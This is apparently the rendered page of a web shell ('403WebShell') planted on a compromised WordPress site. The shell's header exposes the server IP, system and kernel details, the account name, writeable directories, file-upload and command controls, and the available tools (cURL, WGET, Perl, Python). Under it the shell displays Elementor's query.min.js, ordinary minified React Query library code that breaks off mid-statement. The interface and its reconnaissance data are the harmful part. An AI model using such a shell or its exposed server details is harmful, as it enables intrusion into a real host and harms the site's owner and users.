Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 3.145.170.164
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/wavevlvu/diixadigital.com/wp-content/plugins/elementor/assets/js/packages/query/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/wavevlvu/diixadigital.com/wp-content/plugins/elementor/assets/js/packages/query/query.min.js
/*! For license information please see query.min.js.LICENSE.txt */
!function(){"use strict";var t={1020:function(t,e,s){var i=s(7557),r=Symbol.for("react.element"),n=(Symbol.for("react.fragment"),Object.prototype.hasOwnProperty),a=i.__SECRET_INTERNALS_DO_NOT_USE_OR_YOU_WILL_BE_FIRED.ReactCurrentOwner,o={key:!0,ref:!0,__self:!0,__source:!0};e.jsx=function(t,e,s){var i,u={},c=null,h=null;for(i in void 0!==s&&(c=""+s),void 0!==e.key&&(c=""+e.key),void 0!==e.ref&&(h=e.ref),e)n.call(e,i)&&!o.hasOwnProperty(i)&&(u[i]=e[i]);if(t&&t.defaultProps)for(i in e=t.defaultProps)void 0===u[i]&&(u[i]=e[i]);return{$$typeof:r,type:t,key:c,ref:h,props:u,_owner:a.current}}},4848:function(t,e,s){t.exports=s(1020)},7557:function(t){t.exports=window.React}},e={};function s(i){var r=e[i];if(void 0!==r)return r.exports;var n=e[i]={exports:{}};return t[i](n,n.exports,s),n.exports}s.d=function(t,e){for(var i in e)s.o(e,i)&&!s.o(t,i)&&Object.defineProperty(t,i,{enumerable:!0,get:e[i]})},s.o=function(t,e){return Object.prototype.hasOwnProperty.call(t,e)},s.r=function(t){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(t,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(t,"__esModule",{value:!0})};var i={};s.r(i),s.d(i,{QueryClient:function(){return W},QueryClientProvider:function(){return Y},createQueryClient:function(){return Rt},useInfiniteQuery:function(){return vt},useMutation:function(){return gt},useQuery:function(){return Ot},useQueryClient:function(){return J}});var r="undefined"==typeof window||"Deno"in globalThis;function n(){}function a(t){return"number"==typeof t&&t>=0&&t!==1/0}function o(t,e){return Math.max(t+(e||0)-Date.now(),0)}function u(t,e){return"function"==typeof t?t(e):t}function c(t,e){return"function"==typeof t?t(e):t}function h(t,e){const{type:s="all",exact:i,fetchStatus:r,predicate:n,queryKey:a,stale:o}=t;if(a)if(i){if(e.queryHash!==d(a,e.options))return!1}else if(!p(e.queryKey,a))return!1;if("all"!==s){const t=e.isActive();if("active"===s&&!t)return!1;if("inactive"===s&&t)return!1}return!("boolean"==typeof o&&e.isStale()!==o||r&&r!==e.state.fetchStatus||n&&!n(e))}function l(t,e){const{exact:s,status:i,predicate:r,mutationKey:n}=t;if(n){if(!e.options.mutationKey)return!1;if(s){if(f(e.options.mutationKey)!==f(n))return!1}else if(!p(e.options.mutationKey,n))return!1}return!(i&&e.state.status!==i||r&&!r(e))}function d(t,e){return(e?.queryKeyHashFn||f)(t)}function f(t){return JSON.stringify(t,((t,e)=>b(e)?Object.keys(e).sort().reduce(((t,s)=>(t[s]=e[s],t)),{}):e))}function p(t,e){return t===e||typeof t==typeof e&&!(!t||!e||"object"!=typeof t||"object"!=typeof e)&&!Object.keys(e).some((s=>!p(t[s],e[s])))}function y(t,e){if(t===e)return t;const s=v(t)&&v(e);if(s||b(t)&&b(e)){const i=s?t:Object.keys(t),r=i.length,n=s?e:Object.keys(e),a=n.length,o=s?[]:{};let u=0;for(let r=0;r<a;r++){const a=s?r:n[r];(!s&&i.includes(a)||s)&&void 0===t[a]&&void 0===e[a]?(o[a]=void 0,u++):(o[a]=y(t[a],e[a]),o[a]===t[a]&&void 0!==t[a]&&u++)}return r===a&&u===r?t:o}return e}function m(t,e){if(!e||Object.keys(t).length!==Object.keys(e).length)return!1;for(const s in t)if(t[s]!==e[s])return!1;return!0}function v(t){return Array.isArray(t)&&t.length===Object.keys(t).length}function b(t){if(!g(t))return!1;const e=t.constructor;if(void 0===e)return!0;const s=e.prototype;return!!g(s)&&!!s.hasOwnProperty("isPrototypeOf")&&Object.getPrototypeOf(t)===Object.prototype}function g(t){return"[object Object]"===Object.prototype.toString.call(t)}function O(t,e,s){return"function"==typeof s.structuralSharing?s.structuralSharing(t,e):!1!==s.structuralSharing?y(t,e):e}function R(t,e,s=0){const i=[...t,e];return s&&i.length>s?i.slice(1):i}function C(t,e,s=0){const i=[e,...t];return s&&i.length>s?i.slice(0,-1):i}var w=Symbol(),P=(t,e)=>!t.queryFn&&e?.initialPromise?()=>e.initialPromise:t.queryFn&&t.queryFn!==w?t.queryFn:()=>Promise.reject(new Error(`Missing queryFn: '${t.queryHash}'`)),S=function(){let t=[],e=0,s=t=>{t()},i=t=>{t()},r=t=>setTimeout(t,0);const n=i=>{e?t.push(i):r((()=>{s(i)}))};return{batch:n=>{let a;e++;try{a=n()}finally{e--,e||(()=>{const e=t;t=[],e.length&&r((()=>{i((()=>{e.forEach((t=>{s(t)}))}))}))})()}return a},batchCalls:t=>(...e)=>{n((()=>{t(...e)}))},schedule:n,setNotifyFunction:t=>{s=t},setBatchNotifyFunction:t=>{i=t},setScheduler:t=>{r=t}}}(),Q=class{constructor(){this.listeners=new Set,this.subscribe=this.subscribe.bind(this)}subscribe(t){return this.listeners.add(t),this.onSubscribe(),()=>{this.listeners.delete(t),this.onUnsubscribe()}}hasListeners(){return this.listeners.size>0}onSubscribe(){}onUnsubscribe(){}},q=new class extends Q{#t;#e;#s;constructor(){super(),this.#s=t=>{if(!r&&window.addEventListener){const e=()=>t();return window.addEventListener("visibilitychange",e,!1),()=>{window.removeEventListener("visibilitychange",e)}}}}onSubscribe(){this.#e||this.setEventListener(this.#s)}onUnsubscribe(){this.hasListeners()||(this.#e?.(),this.#e=void 0)}setEventListener(t){this.#s=t,this.#e?.(),this.#e=t((t=>{"boolean"==typeof t?this.setFocused(t):this.onFocus()}))}setFocused(t){this.#t!==t&&(this.#t=t,this.onFocus())}onFocus(){const t=this.isFocused();this.listeners.forEach((e=>{e(t)}))}isFocused(){return"boolean"==typeof this.#t?this.#t:"hidden"!==globalThis.document?.visibilityState}},F=new class extends Q{#i=!0;#e;#s;constructor(){super(),this.#s=t=>{if(!r&&window.addEventListener){const e=()=>t(!0),s=()=>t(!1);return window.addEventListener("online",e,!1),window.addEventListener("offline",s,!1),()=>{window.removeEventListener("online",e),window.removeEventListener("offline",s)}}}}onSubscribe(){this.#e||this.setEventListener(this.#s)}onUnsubscribe(){this.hasListeners()||(this.#e?.(),this.#e=void 0)}setEventListener(t){this.#s=t,this.#e?.(),this.#e=t(this.setOnline.bind(this))}setOnline(t){this.#i!==t&&(this.#i=t,this.listeners.forEach((e=>{e(t)})))}isOnline(){return this.#i}};function E(t){return Math.min(1e3*2**t,3e4)}function M(t){return"online"!==(t??"online")||F.isOnline()}var x=class{constructor(t){this.revert=t?.revert,this.silent=t?.silent}};function D(t){return t instanceof x}function I(t){let e,s,i,n=!1,a=0,o=!1;const u=new Promise(((t,e)=>{s=t,i=e})),c=()=>q.isFocused()&&("always"===t.networkMode||F.isOnline())&&t.canRun(),h=()=>M(t.networkMode)&&t.canRun(),l=i=>{o||(o=!0,t.onSuccess?.(i),e?.(),s(i))},d=s=>{o||(o=!0,t.onError?.(s),e?.(),i(s))},f=()=>new Promise((s=>{e=t=>{(o||c())&&s(t)},t.onPause?.()})).then((()=>{e=void 0,o||t.onContinue?.()})),p=()=>{if(o)return;let e;const s=0===a?t.initialPromise:void 0;try{e=s??t.fn()}catch(t){e=Promise.reject(t)}Promise.resolve(e).then(l).catch((e=>{if(o)return;const s=t.retry??(r?0:3),i=t.retryDelay??E,u="function"==typeof i?i(a,e):i,h=!0===s||"number"==typeof s&&a<s||"function"==typeof s&&s(a,e);var l;!n&&h?(a++,t.onFail?.(a,e),(l=u,new Promise((t=>{setTimeout(t,l)}))).then((()=>c()?void 0:f())).then((()=>{n?d(e):p()}))):d(e)}))};return{promise:u,cancel:e=>{o||(d(new x(e)),t.abort?.())},continue:()=>(e?.(),u),cancelRetry:()=>{n=!0},continueRetry:()=>{n=!1},canStart:h,start:()=>(h()?p():f().then(p),u)}}var T=class{#r;destroy(){this.clearGcTimeout()}scheduleGc(){this.clearGcTimeout(),a(this.gcTime)&&(this.#r=setTimeout((()=>{this.optionalRemove()}),this.gcTime))}updateGcTime(t){this.gcTime=Math.max(this.gcTime||0,t??(r?1/0:3e5))}clearGcTimeout(){this.#r&&(clearTimeout(this.#r),this.#r=void 0)}},A=class extends T{#n;#a;#o;#u;#c;#h;constructor(t){super(),this.#h=!1,this.#c=t.defaultOptions,this.setOptions(t.options),this.observers=[],this.#o=t.cache,this.queryKey=t.queryKey,this.queryHash=t.queryHash,this.#n=t.state||function(t){const e="function"==typeof t.initialData?t.initialData():t.initialData,s=void 0!==e,i=s?"function"==typeof t.initialDataUpdatedAt?t.initialDataUpdatedAt():t.initialDataUpdatedAt:0;return{data:e,dataUpdateCount:0,dataUpdatedAt:s?i??Date.now():0,error:null,errorUpdateCount:0,errorUpdatedAt:0,fetchFailureCount:0,fetchFailureReason:null,fetchMeta:null,isInvalidated:!1,status:s?"success":"pending",fetchStatus:"idle"}}(this.options),this.state=this.#n,this.scheduleGc()}get meta(){return this.options.meta}get promise(){return this.#u?.promise}setOptions(t){this.options={...this.#c,...t},this.updateGcTime(this.options.gcTime)}optionalRemove(){this.observers.length||"idle"!==this.state.fetchStatus||this.#o.remove(this)}setData(t,e){const s=O(this.state.data,t,this.options);return this.#l({data:s,type:"success",dataUpdatedAt:e?.updatedAt,manual:e?.manual}),s}setState(t,e){this.#l({type:"setState",state:t,setStateOptions:e})}cancel(t){const e=this.#u?.promise;return this.#u?.cancel(t),e?e.then(n).catch(n):Promise.resolve()}destroy(){super.destroy(),this.cancel({silent:!0})}reset(){this.destroy(),this.setState(this.#n)}isActive(){return this.observers.some((t=>!1!==c(t.options.enabled,this)))}isDisabled(){return this.getObserversCount()>0&&!this.isActive()}isStale(){return!!this.state.isInvalidated||(this.getObserversCount()>0?this.observers.some((t=>t.getCurrentResult().isStale)):void 0===this.state.data)}isStaleByTime(t=0){return this.state.isInvalidated||void 0===this.state.data||!o(this.state.dataUpdatedAt,t)}onFocus(){const t=this.observers.find((t=>t.shouldFetchOnWindowFocus()));t?.refetch({cancelRefetch:!1}),this.#u?.continue()}onOnline(){const t=this.observers.find((t=>t.shouldFetchOnReconnect()));t?.refetch({cancelRefetch:!1}),this.#u?.continue()}addObserver(t){this.observers.includes(t)||(this.observers.push(t),this.clearGcTimeout(),this.#o.notify({type:"observerAdded",query:this,observer:t}))}removeObserver(t){this.observers.includes(t)&&(this.observers=this.observers.filter((e=>e!==t)),this.observers.length||(this.#u&&(this.#h?this.#u.cancel({revert:!0}):this.#u.cancelRetry()),this.scheduleGc()),this.#o.notify({type:"observerRemoved",query:this,observer:t}))}getObserversCount(){return this.observers.length}invalidate(){this.state.isInvalidated||this.#l({type:"invalidate"})}fetch(t,e){if("idle"!==this.state.fetchStatus)if(void 0!==this.state.data&&e?.cancelRefetch)this.cancel({silent:!0});else if(this.#u)return this.#u.continueRetry(),this.#u.promise;if(t&&this.setOptions(t),!this.options.queryFn){const t=this.observers.find((t=>t.options.queryFn));t&&this.setOptions(t.options)}const s=new AbortController,i=t=>{Object.defineProperty(t,"signal",{enumerable:!0,get:()=>(this.#h=!0,s.signal)})},r={fetchOptions:e,options:this.options,queryKey:this.queryKey,state:this.state,fetchFn:()=>{const t=P(this.options,e),s={queryKey:this.queryKey,meta:this.meta};return i(s),this.#h=!1,this.options.persister?this.options.persister(t,s,this):t(s)}};i(r),this.options.behavior?.onFetch(r,this),this.#a=this.state,"idle"!==this.state.fetchStatus&&this.state.fetchMeta===r.fetchOptions?.meta||this.#l({type:"fetch",meta:r.fetchOptions?.meta});const n=t=>{D(t)&&t.silent||this.#l({type:"error",error:t}),D(t)||(this.#o.config.onError?.(t,this),this.#o.config.onSettled?.(this.state.data,t,this)),this.isFetchingOptimistic||this.scheduleGc(),this.isFetchingOptimistic=!1};return this.#u=I({initialPromise:e?.initialPromise,fn:r.fetchFn,abort:s.abort.bind(s),onSuccess:t=>{void 0!==t?(this.setData(t),this.#o.config.onSuccess?.(t,this),this.#o.config.onSettled?.(t,this.state.error,this),this.isFetchingOptimistic||this.scheduleGc(),this.isFetchingOptimistic=!1):n(new Error(`${this.queryHash} data is undefined`))},onError:n,onFail:(t,e)=>{this.#l({type:"failed",failureCount:t,error:e})},onPause:()=>{this.#l({type:"pause"})},onContinue:()=>{this.#l({type:"continue"})},retry:r.options.retry,retryDelay:r.options.retryDelay,networkMode:r.options.networkMode,canRun:()=>!0}),this.#u.start()}#l(t){this.state=(e=>{switch(t.type){case"failed":return{...e,fetchFailureCount:t.failureCount,fetchFailureReason:t.error};case"pause":return{...e,fetchStatus:"paused"};case"continue":return{...e,fetchStatus:"fetching"};case"fetch":return{...e,...U(e.data,this.options),fetchMeta:t.meta??null};case"success":return{...e,data:t.data,dataUpdateCount:e.dataUpdateCount+1,dataUpdatedAt:t.dataUpdatedAt??Date.now(),error:null,isInvalidated:!1,status:"success",...!t.manual&&{fetchStatus:"idle",fetchFailureCount:0,fetchFailureReason:null}};case"error":const s=t.error;return D(s)&&s.revert&&this.#a?{...this.#a,fetchStatus:"idle"}:{...e,error:s,errorUpdateCount:e.errorUpdateCount+1,errorUpdatedAt:Date.now(),fetchFailureCount:e.fetchFailureCount+1,fetchFailureReason:s,fetchStatus:"idle",status:"error"};case"invalidate":return{...e,isInvalidated:!0};case"setState":return{...e,...t.state}}})(this.state),S.batch((()=>{this.observers.forEach((t=>{t.onQueryUpdate()})),this.#o.notify({query:this,type:"updated",action:t})}))}};function U(t,e){return{fetchFailureCount:0,fetchFailureReason:null,fetchStatus:M(e.networkMode)?"fetching":"paused",...void 0===t&&{error:null,status:"pending"}}}var k=class extends Q{constructor(t={}){super(),this.config=t,this.#d=new Map}#d;build(t,e,s){const i=e.queryKey,r=e.queryHash??d(i,e);let n=this.get(r);return n||(n=new A({cache:this,queryKey:i,queryHash:r,options:t.defaultQueryOptions(e),state:s,defaultOptions:t.getQueryDefaults(i)}),this.add(n)),n}add(t){this.#d.has(t.queryHash)||(this.#d.set(t.queryHash,t),this.notify({type:"added",query:t}))}remove(t){const e=this.#d.get(t.queryHash);e&&(t.destroy(),e===t&&this.#d.delete(t.queryHash),this.notify({type:"removed",query:t}))}clear(){S.batch((()=>{this.getAll().forEach((t=>{this.remove(t)}))}))}get(t){return this.#d.get(t)}getAll(){return[...this.#d.values()]}find(t){const e={exact:!0,...t};return this.getAll().find((t=>h(e,t)))}findAll(t={}){const e=this.getAll();return Object.keys(t).length>0?e.filter((e=>h(t,e))):e}notify(t){S.batch((()=>{this.listeners.forEach((e=>{e(t)}))}))}onFocus(){S.batch((()=>{this.getAll().forEach((t=>{t.onFocus()}))}))}onOnline(){S.batch((()=>{this.getAll().forEach((t=>{t.onOnline()}))}))}},K=class extends T{#f;#p;#u;constructor(t){super(),this.mutationId=t.mutationId,this.#p=t.mutationCache,this.#f=[],this.state=t.state||{context:void 0,data:void 0,error:null,failureCount:0,failureReason:null,isPaused:!1,status:"idle",variables:void 0,submittedAt:0},this.setOptions(t.options),this.scheduleGc()}setOptions(t){this.options=t,this.updateGcTime(this.options.gcTime)}get meta(){return this.options.meta}addObserver(t){this.#f.includes(t)||(this.#f.push(t),this.clearGcTimeout(),this.#p.notify({type:"observerAdded",mutation:this,observer:t}))}removeObserver(t){this.#f=this.#f.filter((e=>e!==t)),this.scheduleGc(),this.#p.notify({type:"observerRemoved",mutation:this,observer:t})}optionalRemove(){this.#f.length||("pending"===this.state.status?this.scheduleGc():this.#p.remove(this))}continue(){return this.#u?.continue()??this.execute(this.state.variables)}async execute(t){this.#u=I({fn:()=>this.options.mutationFn?this.options.mutationFn(t):Promise.reject(new Error("No mutationFn found")),onFail:(t,e)=>{this.#l({type:"failed",failureCount:t,error:e})},onPause:()=>{this.#l({type:"pause"})},onContinue:()=>{this.#l({type:"continue"})},retry:this.options.retry??0,retryDelay:this.options.retryDelay,networkMode:this.options.networkMode,canRun:()=>this.#p.canRun(this)});const e="pending"===this.state.status,s=!this.#u.canStart();try{if(!e){this.#l({type:"pending",variables:t,isPaused:s}),await(this.#p.config.onMutate?.(t,this));const e=await(this.options.onMutate?.(t));e!==this.state.context&&this.#l({type:"pending",context:e,variables:t,isPaused:s})}const i=await this.#u.start();return await(this.#p.config.onSuccess?.(i,t,this.state.context,this)),await(this.options.onSuccess?.(i,t,this.state.context)),await(this.#p.config.onSettled?.(i,null,this.state.variables,this.state.context,this)),await(this.options.onSettled?.(i,null,t,this.state.context)),this.#l({type:"success",data:i}),i}catch(e){try{throw await(this.#p.config.onError?.(e,t,this.state.context,this)),await(this.options.onError?.(e,t,this.state.context)),await(this.#p.config.onSettled?.(void 0,e,this.state.variables,this.state.context,this)),await(this.options.onSettled?.(void 0,e,t,this.state.context)),e}finally{this.#l({type:"error",error:e})}}finally{this.#p.runNext(this)}}#l(t){this.state=(e=>{switch(t.type){case"failed":return{...e,failureCount:t.failureCount,failureReason:t.error};case"pause":return{...e,isPaused:!0};case"continue":return{...e,isPaused:!1};case"pending":return{...e,context:t.context,data:void 0,failureCount:0,failureReason:null,error:null,isPaused:t.isPaused,status:"pending",variables:t.variables,submittedAt:Date.now()};case"success":return{...e,data:t.data,failureCount:0,failureReason:null,error:null,status:"success",isPaused:!1};case"error":return{...e,data:void 0,error:t.error,failureCount:e.failureCount+1,failureReason:t.error,isPaused:!1,status:"error"}}})(this.state),S.batch((()=>{this.#f.forEach((e=>{e.onMutationUpdate(t)})),this.#p.notify({mutation:this,type:"updated",action:t})}))}},j=class extends Q{constructor(t={}){super(),this.config=t,this.#y=new Map,this.#m=Date.now()}#y;#m;build(t,e,s){const i=new K({mutationCache:this,mutationId:++this.#m,options:t.defaultMutationOptions(e),state:s});return this.add(i),i}add(t){const e=_(t),s=this.#y.get(e)??[];s.push(t),this.#y.set(e,s),this.notify({type:"added",mutation:t})}remove(t){const e=_(t);if(this.#y.has(e)){const s=this.#y.get(e)?.filter((e=>e!==t));s&&(0===s.length?this.#y.delete(e):this.#y.set(e,s))}this.notify({type:"removed",mutation:t})}canRun(t){const e=this.#y.get(_(t))?.find((t=>"pending"===t.state.status));return!e||e===t}runNext(t){const e=this.#y.get(_(t))?.find((e=>e!==t&&e.state.isPaused));return e?.continue()??Promise.resolve()}clear(){S.batch((()=>{this.getAll().forEach((t=>{this.remove(t)}))}))}getAll(){return[...this.#y.values()].flat()}find(t){const e={exact:!0,...t};return this.getAll().find((t=>l(e,t)))}findAll(t={}){return this.getAll().filter((e=>l(t,e)))}notify(t){S.batch((()=>{this.listeners.forEach((e=>{e(t)}))}))}resumePausedMutations(){const t=this.getAll().filter((t=>t.state.isPaused));return S.batch((()=>Promise.all(t.map((t=>t.continue().catch(n))))))}};function _(t){return t.options.scope?.id??String(t.mutationId)}function L(t){return{onFetch:(e,s)=>{const i=async()=>{const s=e.options,i=e.fetchOptions?.meta?.fetchMore?.direction,r=e.state.data?.pages||[],n=e.state.data?.pageParams||[],a={pages:[],pageParams:[]};let o=!1;const u=P(e.options,e.fetchOptions),c=async(t,s,i)=>{if(o)return Promise.reject();if(null==s&&t.pages.length)return Promise.resolve(t);const r={queryKey:e.queryKey,pageParam:s,direction:i?"backward":"forward",meta:e.options.meta};var n;n=r,Object.defineProperty(n,"signal",{enumerable:!0,get:()=>(e.signal.aborted?o=!0:e.signal.addEventListener("abort",(()=>{o=!0})),e.signal)});const a=await u(r),{maxPages:c}=e.options,h=i?C:R;return{pages:h(t.pages,a,c),pageParams:h(t.pageParams,s,c)}};let h;if(i&&r.length){const t="backward"===i,e={pages:r,pageParams:n},a=(t?H:N)(s,e);h=await c(e,a,t)}else{h=await c(a,n[0]??s.initialPageParam);const e=t??r.length;for(let t=1;t<e;t++){const t=N(s,h);h=await c(h,t)}}return h};e.options.persister?e.fetchFn=()=>e.options.persister?.(i,{queryKey:e.queryKey,meta:e.options.meta,signal:e.signal},s):e.fetchFn=i}}}function N(t,{pages:e,pageParams:s}){const i=e.length-1;return t.getNextPageParam(e[i],e,s[i],s)}function H(t,{pages:e,pageParams:s}){return t.getPreviousPageParam?.(e[0],e,s[0],s)}function G(t,e){return!!e&&null!=N(t,e)}function B(t,e){return!(!e||!t.getPreviousPageParam)&&null!=H(t,e)}var W=class{#v;#p;#c;#b;#g;#O;#R;#C;constructor(t={}){this.#v=t.queryCache||new k,this.#p=t.mutationCache||new j,this.#c=t.defaultOptions||{},this.#b=new Map,this.#g=new Map,this.#O=0}mount(){this.#O++,1===this.#O&&(this.#R=q.subscribe((async t=>{t&&(await this.resumePausedMutations(),this.#v.onFocus())})),this.#C=F.subscribe((async t=>{t&&(await this.resumePausedMutations(),this.#v.onOnline())})))}unmount(){this.#O--,0===this.#O&&(this.#R?.(),this.#R=void 0,this.#C?.(),this.#C=void 0)}isFetching(t){return this.#v.findAll({...t,fetchStatus:"fetching"}).length}isMutating(t){return this.#p.findAll({...t,status:"pending"}).length}getQueryData(t){const e=this.defaultQueryOptions({queryKey:t});return this.#v.get(e.queryHash)?.state.data}ensureQueryData(t){const e=this.getQueryData(t.queryKey);if(void 0===e)return this.fetchQuery(t);{const s=this.defaultQueryOptions(t),i=this.#v.build(this,s);return t.revalidateIfStale&&i.isStaleByTime(u(s.staleTime,i))&&this.prefetchQuery(s),Promise.resolve(e)}}getQueriesData(t){return this.#v.findAll(t).map((({queryKey:t,state:e})=>[t,e.data]))}setQueryData(t,e,s){const i=this.defaultQueryOptions({queryKey:t}),r=this.#v.get(i.queryHash),n=r?.state.data,a=function(t,e){return"function"==typeof t?t(e):t}(e,n);if(void 0!==a)return this.#v.build(this,i).setData(a,{...s,manual:!0})}setQueriesData(t,e,s){return S.batch((()=>this.#v.findAll(t).map((({queryKey:t})=>[t,this.setQueryData(t,e,s)]))))}getQueryState(t){const e=this.defaultQueryOptions({queryKey:t});return this.#v.get(e.queryHash)?.state}removeQueries(t){const e=this.#v;S.batch((()=>{e.findAll(t).forEach((t=>{e.remove(t)}))}))}resetQueries(t,e){const s=this.#v,i={type:"active",...t};return S.batch((()=>(s.findAll(t).forEach((t=>{t.reset()})),this.refetchQueries(i,e))))}cancelQueries(t={},e={}){const s={revert:!0,...e},i=S.batch((()=>this.#v.findAll(t).map((t=>t.cancel(s)))));return Promise.all(i).then(n).catch(n)}invalidateQueries(t={},e={}){return S.batch((()=>{if(this.#v.findAll(t).forEach((t=>{t.invalidate()})),"none"===t.refetchType)return Promise.resolve();const s={...t,type:t.refetchType??t.type??"active"};return this.refetchQueries(s,e)}))}refetchQueries(t={},e){const s={...e,cancelRefetch:e?.cancelRefetch??!0},i=S.batch((()=>this.#v.findAll(t).filter((t=>!t.isDisabled())).map((t=>{let e=t.fetch(void 0,s);return s.throwOnError||(e=e.catch(n)),"paused"===t.state.fetchStatus?Promise.resolve():e}))));return Promise.all(i).then(n)}fetchQuery(t){const e=this.defaultQueryOptions(t);void 0===e.retry&&(e.retry=!1);const s=this.#v.build(this,e);return s.isStaleByTime(u(e.staleTime,s))?s.fetch(e):Promise.resolve(s.state.data)}prefetchQuery(t){return this.fetchQuery(t).then(n).catch(n)}fetchInfiniteQuery(t){return t.behavior=L(t.pages),this.fetchQuery(t)}prefetchInfiniteQuery(t){return this.fetchInfiniteQuery(t).then(n).catch(n)}resumePausedMutations(){return F.isOnline()?this.#p.resumePausedMutations():Promise.resolve()}getQueryCache(){return this.#v}getMutationCache(){return this.#p}getDefaultOptions(){return this.#c}setDefaultOptions(t){this.#c=t}setQueryDefaults(t,e){this.#b.set(f(t),{queryKey:t,defaultOptions:e})}getQueryDefaults(t){const e=[...this.#b.values()];let s={};return e.forEach((e=>{p(t,e.queryKey)&&(s={...s,...e.defaultOptions})})),s}setMutationDefaults(t,e){this.#g.set(f(t),{mutationKey:t,defaultOptions:e})}getMutationDefaults(t){const e=[...this.#g.values()];let s={};return e.forEach((e=>{p(t,e.mutationKey)&&(s={...s,...e.defaultOptions})})),s}defaultQueryOptions(t){if(t._defaulted)return t;const e={...this.#c.queries,...this.getQueryDefaults(t.queryKey),...t,_defaulted:!0};return e.queryHash||(e.queryHash=d(e.queryKey,e)),void 0===e.refetchOnReconnect&&(e.refetchOnReconnect="always"!==e.networkMode),void 0===e.throwOnError&&(e.throwOnError=!!e.suspense),!e.networkMode&&e.persister&&(e.networkMode="offlineFirst"),!0!==e.enabled&&e.queryFn===w&&(e.enabled=!1),e}defaultMutationOptions(t){return t?._defaulted?t:{...this.#c.mutations,...t?.mutationKey&&this.getMutationDefaults(t.mutationKey),...t,_defaulted:!0}}clear(){this.#v.clear(),this.#p.clear()}},$=s(7557),z=s(4848),V=$.createContext(void 0),J=t=>{const e=$.useContext(V);if(t)return t;if(!e)throw new Error("No QueryClient set, use QueryClientProvider to set one");return e},Y=({client:t,children:e})=>($.useEffect((()=>(t.mount(),()=>{t.unmount()})),[t]),(0,z.jsx)(V.Provider,{value:t,children:e})),X=class extends Q{constructor(t,e){super(),this.options=e,this.#w=t,this.#P=null,this.bindMethods(),this.setOptions(e)}#w;#S=void 0;#Q=void 0;#q=void 0;#F;#E;#P;#M;#x;#D;#I;#T;#A;#U=new Set;bindMethods(){this.refetch=this.refetch.bind(this)}onSubscribe(){1===this.listeners.size&&(this.#S.addObserver(this),Z(this.#S,this.options)?this.#k():this.updateResult(),this.#K())}onUnsubscribe(){this.hasListeners()||this.destroy()}shouldFetchOnReconnect(){return tt(this.#S,this.options,this.options.refetchOnReconnect)}shouldFetchOnWindowFocus(){return tt(this.#S,this.options,this.options.refetchOnWindowFocus)}destroy(){this.listeners=new Set,this.#j(),this.#_(),this.#S.removeObserver(this)}setOptions(t,e){const s=this.options,i=this.#S;if(this.options=this.#w.defaultQueryOptions(t),void 0!==this.options.enabled&&"boolean"!=typeof this.options.enabled&&"function"!=typeof this.options.enabled&&"boolean"!=typeof c(this.options.enabled,this.#S))throw new Error("Expected enabled to be a boolean or a callback that returns a boolean");this.#L(),this.#S.setOptions(this.options),s._defaulted&&!m(this.options,s)&&this.#w.getQueryCache().notify({type:"observerOptionsUpdated",query:this.#S,observer:this});const r=this.hasListeners();r&&et(this.#S,i,this.options,s)&&this.#k(),this.updateResult(e),!r||this.#S===i&&c(this.options.enabled,this.#S)===c(s.enabled,this.#S)&&u(this.options.staleTime,this.#S)===u(s.staleTime,this.#S)||this.#N();const n=this.#H();!r||this.#S===i&&c(this.options.enabled,this.#S)===c(s.enabled,this.#S)&&n===this.#A||this.#G(n)}getOptimisticResult(t){const e=this.#w.getQueryCache().build(this.#w,t),s=this.createResult(e,t);return i=s,!m(this.getCurrentResult(),i)&&(this.#q=s,this.#E=this.options,this.#F=this.#S.state),s;var i}getCurrentResult(){return this.#q}trackResult(t,e){const s={};return Object.keys(t).forEach((i=>{Object.defineProperty(s,i,{configurable:!1,enumerable:!0,get:()=>(this.trackProp(i),e?.(i),t[i])})})),s}trackProp(t){this.#U.add(t)}getCurrentQuery(){return this.#S}refetch({...t}={}){return this.fetch({...t})}fetchOptimistic(t){const e=this.#w.defaultQueryOptions(t),s=this.#w.getQueryCache().build(this.#w,e);return s.isFetchingOptimistic=!0,s.fetch().then((()=>this.createResult(s,e)))}fetch(t){return this.#k({...t,cancelRefetch:t.cancelRefetch??!0}).then((()=>(this.updateResult(),this.#q)))}#k(t){this.#L();let e=this.#S.fetch(this.options,t);return t?.throwOnError||(e=e.catch(n)),e}#N(){this.#j();const t=u(this.options.staleTime,this.#S);if(r||this.#q.isStale||!a(t))return;const e=o(this.#q.dataUpdatedAt,t)+1;this.#I=setTimeout((()=>{this.#q.isStale||this.updateResult()}),e)}#H(){return("function"==typeof this.options.refetchInterval?this.options.refetchInterval(this.#S):this.options.refetchInterval)??!1}#G(t){this.#_(),this.#A=t,!r&&!1!==c(this.options.enabled,this.#S)&&a(this.#A)&&0!==this.#A&&(this.#T=setInterval((()=>{(this.options.refetchIntervalInBackground||q.isFocused())&&this.#k()}),this.#A))}#K(){this.#N(),this.#G(this.#H())}#j(){this.#I&&(clearTimeout(this.#I),this.#I=void 0)}#_(){this.#T&&(clearInterval(this.#T),this.#T=void 0)}createResult(t,e){const s=this.#S,i=this.options,r=this.#q,n=this.#F,a=this.#E,o=t!==s?t.state:this.#Q,{state:u}=t;let c,h={...u},l=!1;if(e._optimisticResults){const r=this.hasListeners(),n=!r&&Z(t,e),a=r&&et(t,s,e,i);(n||a)&&(h={...h,...U(u.data,t.options)}),"isRestoring"===e._optimisticResults&&(h.fetchStatus="idle")}let{error:d,errorUpdatedAt:f,status:p}=h;if(e.select&&void 0!==h.data)if(r&&h.data===n?.data&&e.select===this.#M)c=this.#x;else try{this.#M=e.select,c=e.select(h.data),c=O(r?.data,c,e),this.#x=c,this.#P=null}catch(t){this.#P=t}else c=h.data;if(void 0!==e.placeholderData&&void 0===c&&"pending"===p){let t;if(r?.isPlaceholderData&&e.placeholderData===a?.placeholderData)t=r.data;else if(t="function"==typeof e.placeholderData?e.placeholderData(this.#D?.state.data,this.#D):e.placeholderData,e.select&&void 0!==t)try{t=e.select(t),this.#P=null}catch(t){this.#P=t}void 